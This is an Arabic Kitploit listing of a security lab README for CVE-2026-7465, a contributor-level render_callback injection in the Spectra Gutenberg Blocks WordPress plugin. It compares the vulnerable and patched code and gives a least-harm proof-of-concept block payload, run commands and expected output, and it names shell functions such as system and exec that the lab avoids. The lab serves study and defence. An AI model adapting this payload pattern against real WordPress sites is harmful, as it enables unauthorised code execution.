Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-7465-Lab — مختبر Docker محلي لتحليل وإعادة إنتاج CVE-2026-7465 في إضافة Spectra Gutenberg Blocks لـ WordPress. يقارن بين الإصدارات الضعيفة والمصححة مع إثبات مفهوم بأقل ضرر يوضح حقن render_callback. | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

مختبر Docker محلي لتحليل وإعادة إنتاج CVE-2026-7465 في إضافة Spectra Gutenberg Blocks لـ WordPress. يقارن بين الإصدارات الضعيفة والمصححة مع إثبات مفهوم بأقل ضرر يوضح حقن render_callback.

عرض المستودع
14منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-7465 - مختبر محلي لإضافة Spectra Gutenberg Blocks

مختبر Docker محلي لتحليل وإعادة إنتاج CVE-2026-7465 في إضافة ووردبريس Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).

يقارن هذا المختبر بين:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

الإثبات (Proof) مصمَّم ليكون الأقل ضررًا عمدًا. فهو لا ينفّذ أوامر شل، ولا يرفع ملفات، ولا ينشئ مستخدمين، ولا يعدّل الحاوية مباشرة. كما ينشئ الـ PoC مسودة مقال مؤقتة في ووردبريس، ويفحص سلوك عرض الكتل، ثم يحذف المسودة.


ملخص

CVE-2026-7465 هي ثغرة في إضافة Spectra Gutenberg Blocks يمكن من خلالها تمرير سمات كتل Gutenberg التي يتحكم بها المستخدم إلى وسائط تسجيل كتل ووردبريس.

في النسخة القابلة للاستغلال، تسجّل Spectra ديناميكيًا كتل uagb/* المُحلَّلة باستخدام سمات الكتل المأخوذة من محتوى المقالات:

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

نظرًا لأن مستخدمًا بدور Contributor (مساهم) يمكنه إنشاء محتوى مقالات يحتوي على تعليقات كتل Gutenberg، فإن مستخدمًا مصادَقًا بمستوى Contributor يمكنه التأثير على وسائط التسجيل مثل render_callback.

تعالج النسخة 2.19.26 المشكلة بتسجيل الكتلة باستخدام مصفوفة وسائط فارغة:

root@kitploit:~
$registry->register( $block['blockName'], array() );

يمنع هذا تحوّل سمات الكتل المتحكم بها من المحتوى إلى خيارات تسجيل كتل PHP.


المكوّن المتأثر

المنتج:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

النسخ المستخدمة في هذا المختبر:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

ينص سجل تغييرات WordPress.org للنسخة 2.19.26 على أن التحديث عالج خطأً أمنيًا، وينسب الفضل إلى Wordfence في الإبلاغ المسؤول.


السبب الجذري

تقع المنطقية البرمجية القابلة للاستغلال في:

root@kitploit:~
classes/class-uagb-init-blocks.php

يتحقق الكود القابل للاستغلال مما إذا كان اسم الكتلة المُحلَّل يحتوي على مساحة الاسم uagb/. وإذا لم تكن الكتلة مسجّلة بالفعل، فإنه يسجّلها ديناميكيًا.

السلوك القابل للاستغلال

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

المشكلة تكمن في الوسيط الثاني:

root@kitploit:~
$block['attrs']

في Gutenberg، يمكن تخزين سمات الكتل داخل محتوى المقالات، على سبيل المثال:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

يمكن لمستخدم بدور Contributor إنشاء محتوى مسودات مقالات. لذلك، يمكن للمهاجم التأثير على $block['attrs'].

عند تمرير هذه السمات إلى WP_Block_Type_Registry::register()، فإنها تصبح وسائط تسجيل للكتلة. ومن بين وسائط التسجيل الحساسة:

root@kitploit:~
render_callback

ينتج عن هذا بدائية تحكم في الاستدعاء (callback-control primitive).

السلوك المُعالَج

في 2.19.26، ما تزال Spectra تسجّل اسم كتلة uagb/* المُحلَّل، لكنها لم تعد تمرّر سمات يتحكم بها المحتوى كوسائط تسجيل:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

التغيير المهم هو:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

يزيل هذا سمات الكتل التي يتحكم بها المهاجم من مسار تسجيل الكتل.


لماذا يستخدم الـ PoC دالة maybe_serialize

لا يستخدم الـ PoC استدعاءات PHP خطيرة مثل system أو exec أو shell_exec أو passthru.

بدلًا من ذلك، يستخدم:

root@kitploit:~
maybe_serialize

محتوى كتلة الإثبات هو:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

السلوك المتوقع:

root@kitploit:~
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

يثبت هذا السلوك القابل للاستغلال دون تنفيذ أوامر أو كتابة ملفات.


بنية المختبر

الخدمات:

root@kitploit:~
db_vuln      MariaDB for vulnerable WordPress
db_patched   MariaDB for patched WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site

المنافذ المحلية:

root@kitploit:~
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress

مستخدم ووردبريس المُهيَّأ:

root@kitploit:~
username: contributor
password: contributorpass123!
role:     contributor

يعمل الـ PoC عبر HTTP فقط. يتفاعل مع ووردبريس من خلال تسجيل الدخول وطلبات REST API.


هيكل المستودع

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

تشغيل المختبر

ابدأ من بيئة نظيفة:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

تحقق من الحاويات:

root@kitploit:~
docker compose ps

افحص سجلات التهيئة (seed):

root@kitploit:~
docker compose logs seed_vuln seed_patched

النتيجة المتوقعة للتهيئة:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

تشغيل الـ PoC

اختبر الهدف القابل للاستغلال:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

الحكم المتوقع للنسخة القابلة للاستغلال:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

اختبر الهدف المُعالَج:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

الحكم المتوقع للنسخة المُعالَجة:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

المخرجات المتوقعة

النسخة القابلة للاستغلال - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

النسخة المُعالَجة - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

تفسير الأدلة

المقارنة المهمة هي:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

يجب أن يُظهر كل من الهدفين القابل للاستغلال والمُعالَج:

root@kitploit:~
raw_contains_marker: True

مما يؤكد أنه تم حفظ نفس محتوى الكتلة بنجاح في مسودة مقال مؤقتة.

الفرق يظهر في المخرجات المعروضة (rendered output):

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

يوضح هذا أن النسخة القابلة للاستغلال قبلت render_callback المتحكم به من المحتوى، بينما لم تقبله النسخة المُعالَجة.

التنظيف

أوقف وأزل الحاويات والشبكات ووحدات التخزين:

root@kitploit:~
docker compose down -v --remove-orphans

أزل ذاكرة التخزين المؤقت لـ Python إن وُجدت:

root@kitploit:~
rm -rf poc/__pycache__

ملاحظات السلامة

هذا المستودع مخصص لأغراض البحث الأمني المحلي والعرض المهني فقط.

الـ PoC:

  • يستهدف عناوين localhost أو loopback فقط
  • يستخدم وصول ووردبريس مصادَقًا عليه داخل المختبر المحلي
  • ينشئ مسودة مقال مؤقتة
  • يحذف مسودة المقال بعد فحص سلوك العرض
  • لا ينفّذ أوامر شل
  • لا يرفع ملفات
  • لا ينشئ مستخدمين
  • لا يعدّل حاويات Docker مباشرة
  • لا يوفر سير عمل استغلال عن بُعد

لا تشغّل هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها.


المراجع

  • صفحة الإضافة على WordPress.org: Spectra Gutenberg Blocks - Website Builder for the Block Editor
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • سجل التغييرات على WordPress.org: تحديث أمني 2.19.26 - Monday, 4th May 2026 يُنسب إلى Wordfence
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress Plugin SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

تنزيل الأداة